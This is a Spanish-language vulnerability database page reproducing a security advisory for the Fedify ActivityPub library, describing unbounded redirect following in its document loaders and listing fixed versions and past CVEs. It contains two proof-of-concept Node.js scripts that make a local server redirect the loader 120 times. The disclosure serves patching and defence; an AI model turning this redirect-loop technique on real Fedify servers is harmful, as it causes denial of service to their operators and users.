Alta

Fedify affected by resource exhaustion caused by unbounded redirect following during remote key/document resolution

  • Publicada: 07.04.2026
  • Actualizado: 11.10.2026 10:22

Summary

@fedify/fedify follows HTTP redirects recursively in its remote document loader and authenticated document loader without enforcing a maximum redirect count or visited-URL loop detection. An attacker who controls a remote ActivityPub key or actor URL can force a server using Fedify to make repeated outbound requests from a single inbound request, leading to resource consumption and denial of service.

Details

Fedify verifies ActivityPub HTTP signatures by fetching the remote keyId during request processing. The relevant flow is handleInboxInternal() -> verifyRequest() -> fetchKeyInternal() -> document loader.

In affected versions:

  • the generic document loader recursively follows 3xx responses by calling load() again on the Location header
  • the authenticated redirect path (doubleKnock()) also recursively follows redirects
  • neither path enforces a redirect cap or tracks visited URLs to detect self-referential redirect loops

As a result, if an attacker-controlled keyId or actor URL responds with 302 Location: <same URL>, a single ActivityPub request can trigger tens or hundreds of outbound requests before the fetch completes or the request times out.

I confirmed the issue in @fedify/fedify 1.9.1 and 1.9.2. By contrast, Fedify's WebFinger lookup path already has a redirect cap, which suggests the missing bound in the document loader is unintended.

Failed key fetches are not durably negatively cached. After a failed lookup, the null result is only remembered in a request-local cache, so later requests can trigger the same redirect loop again for the same keyId.

PoC

Minimal direct reproduction with the package:

  1. Install @fedify/fedify@1.9.2.
  2. Save and run the following script:
js
import http from "node:http";
import { getDocumentLoader } from "@fedify/fedify";

const port = 45679;
let count = 0;
const redirectCount = 120;

const server = http.createServer((req, res) => {
  count += 1;

  if (count < redirectCount) {
    res.writeHead(302, {
      Location: `http://127.0.0.1:${port}/actor`,
    });
    res.end();
    return;
  }

  res.writeHead(200, { "Content-Type": "application/activity+json" });
  res.end(JSON.stringify({
    "@context": "https://www.w3.org/ns/activitystreams",
    "id": `http://127.0.0.1:${port}/actor`,
    "type": "Person"
  }));
});

await new Promise((resolve) => server.listen(port, "127.0.0.1", resolve));

try {
  const loader = getDocumentLoader({ allowPrivateAddress: true });
  await loader(`http://127.0.0.1:${port}/actor`);
  console.log({ count });
} finally {
  server.close();
}
  1. Observe output similar to:
{ count: 120 }

This shows the loader followed 119 self-redirects before the first non-redirect response.

The authenticated loader used for signed requests shows the same behavior:

js
import http from "node:http";
import {
  generateCryptoKeyPair,
  getAuthenticatedDocumentLoader,
} from "@fedify/fedify";

const port = 45680;
let count = 0;
const redirectCount = 120;

const server = http.createServer((req, res) => {
  count += 1;

  if (count < redirectCount) {
    res.writeHead(302, {
      Location: `http://127.0.0.1:${port}/actor`,
    });
    res.end();
    return;
  }

  res.writeHead(200, { "Content-Type": "application/activity+json" });
  res.end(JSON.stringify({
    "@context": "https://www.w3.org/ns/activitystreams",
    "id": `http://127.0.0.1:${port}/actor`,
    "type": "Person"
  }));
});

await new Promise((resolve) => server.listen(port, "127.0.0.1", resolve));

try {
  const { privateKey } = await generateCryptoKeyPair();
  const loader = getAuthenticatedDocumentLoader(
    {
      privateKey,
      keyId: new URL("https://example.com/users/index#main-key"),
    },
    { allowPrivateAddress: true },
  );

  await loader(`http://127.0.0.1:${port}/actor`);
  console.log({ count });
} finally {
  server.close();
}

Impact

This is an unauthenticated denial-of-service / request amplification issue. Any Fedify-based server that verifies remote keys or loads remote ActivityPub documents can be forced to spend CPU time, worker time, connection slots, and outbound bandwidth following attacker-controlled redirects. A single inbound request can trigger a large number of outbound requests, and the attack can be repeated across requests because failed lookups are not durably negatively cached.

Misc Notes

This issue was surfaced by a Ghost ActivityPub user reporting the issue directly to Ghost. The above report was generated upon further investigation into the issue by the Ghost team. We credit @wrathsec for the discovery.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de npm @fedify/fedify < 1.9.6, >= 1.10.0, < 1.10.5, >= 2.0.0, < 2.0.8, >= 2.1.0, < 2.1.1 1.9.6, 1.10.5, 2.0.8, 2.1.1
Paquete de npm @fedify/vocab-runtime < 2.0.8, >= 2.1.0, < 2.1.1 2.0.8, 2.1.1

Referencias

Puntuación CVSS 7.5/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Debilidad (CWE)
CWE-400, CWE-770
Plataforma
npm
Paquete
@fedify/fedify, @fedify/vocab-runtime
Publicada
07.04.2026
Actualizado
11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-gm9m-gwc4-hwgp - CC BY 4.0

Historial de vulnerabilidades: @fedify/fedify

Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Entradas en total
7
Primera → última
07.2024 07.2026
Sin corrección
0
Explotada en ataques
0

Distribución por gravedad

  • Alta 5
  • Media 2

Divulgaciones por año

  1. 2024: 1
  2. 2025: 3
  3. 2026: 3
  1. Alta · 8.6 CVE-2026-50131 >= 0.11.2, < 1.9.12, >= 1.10.0, < 1.10.11, >= 2.0.0, < 2.0.19, >= 2.1.0, < 2.1.15, >= 2.2.0, < 2.2.4 1.9.12, 1.10.11, 2.0.19, 2.1.15, 2.2.4
  2. Alta · 7.0 CVE-2026-42462 >= 2.2.0, < 2.2.3, >= 2.1.0, < 2.1.14, >= 2.0.0, < 2.0.18, >= 1.10.0, < 1.10.10, < 1.9.11 2.2.3, 2.1.14, 2.0.18, 1.10.10, 1.9.11
  3. Fedify affected by resource exhaustion caused by unbounded redirect following during remote key/document resolution esta entrada
    Alta · 7.5 CVE-2026-34148 < 1.9.6, >= 1.10.0, < 1.10.5, >= 2.0.0, < 2.0.8, >= 2.1.0, < 2.1.1 1.9.6, 1.10.5, 2.0.8, 2.1.1
  4. Alta · 7.5 CVE-2025-68475 < 1.6.13, >= 1.7.0, < 1.7.14, >= 1.8.0, < 1.8.15, >= 1.9.0, < 1.9.2 1.6.13, 1.7.14, 1.8.15, 1.9.2
  5. Alta CVE-2025-54888 < 1.3.20, >= 1.4.0-dev.585, < 1.4.13, >= 1.5.0-dev.636, < 1.5.5, >= 1.6.0-dev.754, < 1.6.8, >= 1.7.0-pr.251.885, < 1.7.9, >= 1.8.0-dev.909, < 1.8.5 1.3.20, 1.4.13, 1.5.5, 1.6.8, 1.7.9, 1.8.5
  6. Media · 5.4 CVE-2025-23221 >= 1.0.13, < 1.0.14, >= 1.1.10, < 1.1.11, >= 1.2.10, < 1.2.11, >= 1.3.3, < 1.3.4 1.0.14, 1.1.11, 1.2.11, 1.3.4
  7. Media · 7.2 CVE-2024-39687 < 0.9.2, >= 0.10.0, < 0.10.2, >= 0.11.0, < 0.11.2 0.9.2, 0.10.2, 0.11.2

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.